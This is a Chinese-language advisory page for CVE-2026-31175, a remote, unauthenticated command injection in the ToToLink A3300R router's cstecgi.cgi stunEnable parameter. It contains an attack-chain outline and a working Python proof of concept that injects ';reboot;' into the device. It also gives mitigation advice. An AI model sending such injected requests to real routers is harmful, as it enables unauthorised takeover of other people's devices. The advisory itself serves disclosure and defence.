CVE-2026-31175 CVSS 9.8 严重

CVE-2026-31175 ToToLink A3300R 命令注入漏洞

披露日期: 2026-04-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31175

漏洞类型

命令注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ToToLink A3300R

漏洞概述

ToToLink A3300R路由器固件v17.0.0cu.557_B20221024版本存在严重的命令注入漏洞。该漏洞源于/cgi-bin/cstecgi.cgi接口对stunEnable参数缺乏严格的过滤。未经身份验证的远程攻击者可通过发送特制的恶意数据包，利用该漏洞在目标系统上执行任意系统命令，从而完全控制设备，造成敏感信息泄露或系统瘫痪。

技术细节

该漏洞发生在ToToLink A3300R路由器的Web管理接口组件`cgi-bin/cstecgi.cgi`中。在处理STUN（NAT会话穿透应用程序）配置相关的请求时，程序将用户输入的`stunEnable`参数直接传递给后台的`system()`函数或类似的命令执行函数，且未对特殊字符（如`;`, `|`, `&`等）进行有效的过滤或转义。由于该接口无需身份验证即可访问（PR:N），攻击者可以构造包含恶意Shell命令的HTTP POST请求。当服务器解析该请求并执行相关操作时，注入的命令将在操作系统层面以Root权限运行。这使得攻击者能够获取设备的完全控制权，包括修改配置、安装后门或窃听网络流量。

攻击链分析

STEP 1

侦察

攻击者扫描互联网暴露的ToToLink A3300R设备，识别目标IP地址。

STEP 2

武器化

攻击者构造包含恶意Shell命令的HTTP POST数据包，利用stunEnable参数进行注入。

STEP 3

投递

通过互联网向目标设备的/cgi-bin/cstecgi.cgi接口发送恶意请求。

STEP 4

利用

目标设备未对参数进行过滤，直接将注入的参数传递给系统Shell执行。

STEP 5

控制

攻击者获取设备Root权限，执行进一步操作如安装后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL of the vulnerable device
target_url = "http://<target_ip>/cgi-bin/cstecgi.cgi"

# Payload demonstrating command injection (e.g., reboot)
# The semicolon is used to chain the legitimate command with the malicious one.
data = {
    "topicurl": "stun",
    "stunEnable": ";reboot;"
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)"
}

try:
    response = requests.post(target_url, data=data, headers=headers, timeout=5)
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check if device rebooted.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error occurred: {e}")

影响范围

ToToLink A3300R Firmware v17.0.0cu.557_B20221024

防御指南

临时缓解措施

由于该漏洞无需认证即可远程利用，建议用户立即断开受影响路由器的WAN口连接，或通过ACL策略限制仅允许本地管理IP访问管理端口，直至完成固件升级。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表